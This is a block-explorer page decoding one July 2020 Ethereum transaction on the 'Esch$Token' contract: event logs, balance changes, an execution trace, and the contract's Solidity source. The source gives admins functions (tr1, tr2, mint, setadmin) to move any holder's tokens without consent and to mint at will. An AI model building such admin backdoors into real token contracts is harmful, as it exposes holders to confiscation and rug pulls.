ETH Price: $2,111.80 (+1.74%)

Transaction Decoder

Block:
10487224 at Jul-19-2020 02:26:39 AM +UTC
Transaction Fee:
0.052358554064625064 ETH $110.57
Gas Used:
1,415,096 Gas / 37.000001459 Gwei

Emitted Events:

145 ESCHToken.Transfer( from=[Sender] 0xc121a1b0402bee9969e1d82dab9b52dd6e47b8ed, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=20000000000000000000 )
146 ESCHToken.Transfer( from=0x0000000000000000000000000000000000000000, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=20000000000000000000 )
147 ESCHToken.Transfer( from=0x199244cE57B20b07A4209FF4517DE7F2bf78fB11, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=600000000000000000 )
148 ESCHToken.Transfer( from=0xe0a2E0A1B4eb0532e7036AACc87D943809cc4F9C, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=400000000000000000 )
149 ESCHToken.Transfer( from=0x062e20A5bD08191Abf23a388e56c8b63FAbd14a7, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
150 ESCHToken.Transfer( from=0x07cd5491337593340ae7900Cbd46AEd57A444289, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000 )
151 ESCHToken.Transfer( from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=40000000000000000 )
152 ESCHToken.Transfer( from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=40000000000000000 )
153 ESCHToken.Transfer( from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=40000000000000000 )
154 ESCHToken.Transfer( from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=40000000000000000 )
155 ESCHToken.Transfer( from=[Sender] 0xc121a1b0402bee9969e1d82dab9b52dd6e47b8ed, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=7024000000000000000 )

Account State Difference:

  Address   Before After State Difference Code
0x062e20A5...3FAbd14a7 0.151419713805466136 Eth0.171419713805466136 Eth0.02
0x07cd5491...57A444289 0.062457740394244134 Eth0.072457740394244134 Eth0.01
0x16A447EF...f17b28c77 38.843127066840001723 Eth38.847127066840001723 Eth0.004
0x199244cE...2bf78fB11 0.360718205167767899 Eth0.420718205167767899 Eth0.06
0x284039a7...6D69a193c 20.575460884797714165 Eth20.579460884797714165 Eth0.004
0x3C6C214b...2c9Ca9A06 17,691.9304 Eth17,693.036 Eth1.1056
0x3fFdCF27...316ccE70a 384.430360492961451 Eth384.470360492961451 Eth0.04
(Nanopool)
2,748.822681822573703641 Eth2,748.875040376638328705 Eth0.052358554064625064
0xA821F14f...c90372453
0xB74441F8...f5d8d07B0 14.909167713487399417 Eth14.913167713487399417 Eth0.004
0xc121A1B0...d6e47b8eD
2.101843836576916685 Eth
Nonce: 34
0.751885282512291621 Eth
Nonce: 35
1.349958554064625064
0xe0a2E0A1...809cc4F9C 0.241320972703077184 Eth0.281320972703077184 Eth0.04
0xe1d01e8A...FCF20573d 15.264 Eth15.27 Eth0.006
0xfEe92A1f...B9A02A4f3 22.107032148358438987 Eth22.111032148358438987 Eth0.004

Execution Trace

ETH 2 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06.be328a44( )
  • ESCHToken.cxesch( _c1=0xc121A1B0402BeE9969e1D82DAB9B52dd6e47b8eD ) => ( _j1=182488900000000000000 )
  • ESCHToken.tr1( _from=0xc121A1B0402BeE9969e1D82DAB9B52dd6e47b8eD, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=20000000000000000000 )
  • ESCHToken.tr2( _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=20000000000000000000 )
  • ETH 0.04 0x3ffdcf2760b30a1d05704643a503100316cce70a.CALL( )
  • ETH 0.006 0xe1d01e8a4eda80701912e7fbbe252d9fcf20573d.CALL( )
  • ESCHToken.cxesch( _c1=0x199244cE57B20b07A4209FF4517DE7F2bf78fB11 ) => ( _j1=488257311150139736064 )
  • ETH 0.06 0x199244ce57b20b07a4209ff4517de7f2bf78fb11.CALL( )
  • ESCHToken.tr1( _from=0x199244cE57B20b07A4209FF4517DE7F2bf78fB11, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=600000000000000000 )
  • ESCHToken.cxesch( _c1=0xe0a2E0A1B4eb0532e7036AACc87D943809cc4F9C ) => ( _j1=463137266725209604096 )
  • ETH 0.04 0xe0a2e0a1b4eb0532e7036aacc87d943809cc4f9c.CALL( )
  • ESCHToken.tr1( _from=0xe0a2E0A1B4eb0532e7036AACc87D943809cc4F9C, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=400000000000000000 )
  • ESCHToken.cxesch( _c1=0x062e20A5bD08191Abf23a388e56c8b63FAbd14a7 ) => ( _j1=312833414925395918848 )
  • ETH 0.02 0x062e20a5bd08191abf23a388e56c8b63fabd14a7.CALL( )
  • ESCHToken.tr1( _from=0x062e20A5bD08191Abf23a388e56c8b63FAbd14a7, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x07cd5491337593340ae7900Cbd46AEd57A444289 ) => ( _j1=213493311325768548352 )
  • ETH 0.01 0x07cd5491337593340ae7900cbd46aed57a444289.CALL( )
  • ESCHToken.tr1( _from=0x07cd5491337593340ae7900Cbd46AEd57A444289, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000 )
  • ESCHToken.cxesch( _c1=0x4CB186AE6EdA15ab1ba69736fae146449cf5EefF ) => ( _j1=547989170500465786880 )
  • ESCHToken.cxesch( _c1=0x8b741f77C4A88dB5f8210320Eddd0a0c9cB18fC3 ) => ( _j1=317155874100093157376 )
  • ESCHToken.cxesch( _c1=0xea144dcb53B8686d4810BB96fED273d968b4786d ) => ( _j1=312340974100093157376 )
  • ESCHToken.cxesch( _c1=0x4497aA1Fe301065d54d15Ec6D3e74fF9Be168f29 ) => ( _j1=320730800000000000000 )
  • ESCHToken.cxesch( _c1=0x08D37A8Be03a33947552c353cD094C2E237398E1 ) => ( _j1=2708904478226606964736 )
  • ESCHToken.cxesch( _c1=0xF11a50A2225127a31B2505d1B39B10b178351d24 ) => ( _j1=64584800000000000000 )
  • ESCHToken.cxesch( _c1=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3 ) => ( _j1=4001112282704378396672 )
  • ETH 0.004 0xfee92a1f4699c7062d24e1ef7b69f4ab9a02a4f3.CALL( )
  • ESCHToken.tr1( _from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ESCHToken.cxesch( _c1=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0 ) => ( _j1=318047304302142619648 )
  • ETH 0.004 0xb74441f82d6ac8d8c59d5770be7a8d1f5d8d07b0.CALL( )
  • ESCHToken.tr1( _from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ESCHToken.cxesch( _c1=0x16A447EFb3ac106079c057D0dC669b8f17b28c77 ) => ( _j1=1436744808000000000000 )
  • ETH 0.004 0x16a447efb3ac106079c057d0dc669b8f17b28c77.CALL( )
  • ESCHToken.tr1( _from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ESCHToken.cxesch( _c1=0x284039a7D1aE056C2bd22348a4E15086D69a193c ) => ( _j1=10011338579101024731136 )
  • ETH 0.004 0x284039a7d1ae056c2bd22348a4e15086d69a193c.CALL( )
  • ESCHToken.tr1( _from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ETH 0.7024 0xc121a1b0402bee9969e1d82dab9b52dd6e47b8ed.CALL( )
  • ESCHToken.tr1( _from=0xc121A1B0402BeE9969e1D82DAB9B52dd6e47b8eD, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=7024000000000000000 )
    pragma solidity 0.4.18;//20190809 
    ////////////
    contract ESCHToken  {
     string public constant name = "Esch$Token";
      string public constant symbol = "ESCH$";        
      uint8 public constant decimals = 18;
      uint256 public totalSupply;
      address  owner;
      uint32 hl=1000;
      address SysAd0; 
     
        mapping (address => uint256) public balanceOf;
     
        mapping (address => mapping (address => uint256)) public allowance;
    
        event Transfer(address indexed from, address indexed to, uint256 value);
        
        event Burn(address indexed from, uint256 value);
     
        mapping (address => bool) admin;
    
     
       function ESCHToken () public {
          totalSupply = 10200000 ether;                          // Update total supply
          balanceOf[msg.sender] = totalSupply;
    	  owner = msg.sender;                             //  
    	  admin[owner]=true;
     //	  hl=1000;
        }
    
        function transfer(address _from, address _to, uint _value) internal {
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint previousBalances = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        }
    
        function transfer(address _to, uint256 _value) public {
            transfer(msg.sender, _to, _value);
        }
    
        function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
            require(_value <= allowance[_from][msg.sender]);     // Check allowance
            allowance[_from][msg.sender] -= _value;
            transfer(_from, _to, _value);
            return true;
        }
    
        function approve(address _spender, uint256 _value) public
            returns (bool success) {
            allowance[msg.sender][_spender] = _value;
            return true;
        }
    
    
        function burn(uint256 _value) public returns (bool success) {
            require(balanceOf[msg.sender] >= _value);
            balanceOf[msg.sender] -= _value;
            totalSupply -= _value;
            Burn(msg.sender, _value);
            return true;
        }
    
        function burnFrom(address _from, uint256 _value) public returns (bool success) {
            require(balanceOf[_from] >= _value);
            require(_value <= allowance[_from][msg.sender]);
            balanceOf[_from] -= _value;
            allowance[_from][msg.sender] -= _value;
            totalSupply -= _value;
            Burn(_from, _value);
            return true;
        }
     
        function setadmin (address _admin) public {
        require(admin[msg.sender]==true);
        admin[_admin]=true;
       }
    
     
        function mint(address _ad,uint256 _sl) public  {    
        require(admin[msg.sender]==true);
        balanceOf[_ad]+= _sl;
           totalSupply+= _sl;
            Transfer(0, _ad, _sl);
        }
    
     
        function cxesch (address _c1) public view returns(uint256 _j1){
            return( balanceOf[_c1]);
        }
    
        function SetAw0(address _adA0) public {
        assert(admin[msg.sender]==true);   
        SysAd0=_adA0;
        }   
    
        function hl0(uint32 _hl) public {
        assert(admin[msg.sender]==true);   
        hl=_hl;
        }       
      ///////////
    
        function gm() public payable {
        require (balanceOf[SysAd0]>=hl*msg.value);    
        require (msg.value>=0.1 ether);
        transfer(SysAd0, msg.sender, hl*msg.value);
        SysAd0.transfer(msg.value);
        }
         //
          function tr1(address _from, address _to, uint _value) public {
             assert(admin[msg.sender]==true);    
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint pre1 = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == pre1);
        } 
        //
           function tr2(address _to, uint _value) public {
            assert(admin[msg.sender]==true);  
            require (totalSupply<100000000 ether); 
            require(balanceOf[_to] + _value > balanceOf[_to]);
            totalSupply +=_value;
            balanceOf[_to] += _value;
            Transfer(0, _to, _value);
        }   
        
     
    }